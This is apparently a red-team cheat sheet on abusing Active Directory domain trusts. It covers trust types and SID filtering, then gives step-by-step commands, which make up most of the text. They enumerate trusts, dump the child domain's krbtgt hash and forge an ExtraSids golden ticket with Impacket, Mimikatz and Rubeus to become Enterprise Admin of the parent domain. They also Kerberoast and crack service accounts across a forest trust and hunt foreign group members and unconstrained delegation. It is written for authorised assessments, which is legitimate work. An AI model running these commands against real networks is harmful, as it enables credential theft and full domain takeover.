Trusts are the under-audited seam of most AD estates. M&A integrations, legacy subsidiaries, and MSP relationships leave bidirectional trusts that nobody’s reviewed since Day 1. If the principal domain is locked down, enumerate every trust and hunt for the end-around.

Trust Types

TypeDirectionTransitiveNotes
Parent-childTwo-wayYesIntra-forest; auto-created with new child. No SID filtering.
Tree-rootTwo-wayYesIntra-forest, new tree in same forest.
Cross-link / shortcutConfigurableYesBetween child domains, speeds auth.
ForestOne/two-wayYes (within forest)Between two forest roots; SID filtering enforced.
ExternalOne/two-wayNoBetween domains in separate forests; SID filtering default-on.
RealmOne/two-wayConfigAD ↔ non-Windows Kerberos (MIT/Heimdal).

SID History & SID Filtering

  • sidHistory was built for cross-domain migrations — the old SID rides with the user into the new domain so ACLs keep resolving.
  • Within a forest (parent-child, tree-root) SID filtering is not applied → the ExtraSids attack works.
  • Across forests (external, forest) SID filtering is on by default → foreign SIDs in the PAC get stripped.
  • Quarantined (external) trusts enforce even stricter filtering than standard forest trusts.

Enumerating Trusts

# PowerView
Get-DomainTrust                          # single-domain view
Get-DomainTrustMapping                   # recursive — multi-hop paths
Get-ForestTrust
 
# Native AD module (LOLBin, less noisy)
Import-Module ActiveDirectory
Get-ADTrust -Filter *
 
# Fully signed, scriptless
nltest /domain_trusts /all_trusts /v
netdom query /domain:corp.local trust
# Impacket / bloodhound-python
bloodhound-python -d corp.local -dc DC01 -c All -u user -p pass
# Then in BloodHound GUI: pre-built query "Map Domain Trusts"

First check

Get-DomainTrustMapping is the single best query — it walks every trust outward, including reverse edges, and surfaces trusts the client likely forgot existed.

ExtraSids: Child → Parent (Intra-Forest)

Full control of a child domain (krbtgt NT hash) → forge a golden ticket for the child, inject the parent’s Enterprise Admins SID (S-1-5-21-<parent>-519) into ExtraSids, authenticate to the parent DC as EA. Works because intra-forest SID filtering is off.

Required data points

  1. Child domain’s krbtgt NT (or AES256) hash
  2. Child domain SID
  3. Parent domain’s Enterprise Admins SID (<parent-domain-SID>-519)
  4. Child FQDN
  5. A target username (doesn’t need to exist)

Linux (Impacket)

# 1. krbtgt hash (needs DA in child)
impacket-secretsdump child.corp.local/admin@CHILD-DC -just-dc-user CHILD/krbtgt
 
# 2. Child SID
impacket-lookupsid child.corp.local/admin@CHILD-DC | grep "Domain SID"
 
# 3. Parent Enterprise Admins SID
impacket-lookupsid child.corp.local/admin@PARENT-DC | grep -B12 "Enterprise Admins"
 
# 4. Forge
impacket-ticketer -nthash <krbtgt-NT> \
  -domain CHILD.CORP.LOCAL \
  -domain-sid S-1-5-21-<child> \
  -extra-sid S-1-5-21-<parent>-519 \
  hacker
 
# 5. Use
export KRB5CCNAME=hacker.ccache
impacket-psexec -k -no-pass CHILD.CORP.LOCAL/hacker@parent-dc.corp.local -target-ip <PARENT-DC-IP>

Windows (Mimikatz / Rubeus)

# 1. krbtgt
mimikatz # lsadump::dcsync /user:CHILD\krbtgt
 
# 2/3. SIDs
Get-DomainSID
Get-DomainGroup -Domain corp.local -Identity "Enterprise Admins" | select objectsid
 
# 4. Forge + PTT (Mimikatz)
mimikatz # kerberos::golden /user:hacker /domain:child.corp.local ^
          /sid:<child-SID> /krbtgt:<krbtgt-NT> ^
          /sids:S-1-5-21-<parent>-519 /ptt
 
# 4. Forge + PTT (Rubeus)
.\Rubeus.exe golden /rc4:<krbtgt-NT> /domain:child.corp.local ^
  /sid:<child-SID> /sids:S-1-5-21-<parent>-519 /user:hacker /ptt
 
# 5. Prove it
mimikatz # lsadump::dcsync /user:CORP\Administrator /domain:corp.local

Automated

impacket-raiseChild -target-exec <PARENT-DC-IP> CHILD.CORP.LOCAL/admin

Warning

raiseChild.py is loud and noisy (smbexec-style service creation). Build the chain manually on engagements that care about OPSEC.

Cross-Forest Trust Abuse

Across a forest trust SID filtering is enforced, so ExtraSids is off the table. Three other paths remain:

1. Kerberoast across the trust

Service accounts in the trusted forest are fair game — weak passwords crack the same.

# Rubeus
.\Rubeus.exe kerberoast /domain:trusted.local /user:mssqlsvc /nowrap
# Impacket
impacket-GetUserSPNs -request -target-domain trusted.local corp.local/user -outputfile cross.hash
hashcat -m 13100 cross.hash /usr/share/wordlists/rockyou.txt

2. Foreign group / ACL membership

Only Domain Local groups can hold foreign-forest principals. Audit them after any merger — a foreign DA sometimes sits straight in Administrators on the other side.

Get-DomainForeignGroupMember -Domain trusted.local
Get-DomainForeignUser        -Domain trusted.local
Convert-SidToName S-1-5-21-...-500   # resolve SIDs
 
# Verify with a real auth
Enter-PSSession -ComputerName dc.trusted.local -Credential corp\administrator

3. Unconstrained delegation on a trusted-forest DC

If a DC in the trusted forest has unconstrained delegation and you can coerce auth (PrinterBug / PetitPotam / dfscoerce), its TGT gets forwarded — hand it back for a Golden/TGS and pivot.

Get-DomainComputer -Unconstrained -Domain trusted.local

Linux-Side BloodHound Collection

# Edit /etc/resolv.conf to point at the target DC first
bloodhound-python -d trusted.local -dc dc.trusted.local -c All \
  -u user@corp.local -p 'Password!'
zip -r trusted.zip *.json
# Upload to BloodHound GUI, run "Shortest Paths to Domain Admins from Foreign"

Takeaways

  • Trust direction and transitivity dictate what’s reachable — map before attacking.
  • Intra-forest: child DA = forest EA via ExtraSids. Always.
  • Cross-forest: Kerberoast across, hunt foreign group membership, look for unconstrained delegation on the far-side DCs.
  • Verify any cross-trust path with a real auth before writing it up.
  • Flag any trust the client isn’t tracking — that’s a finding on its own.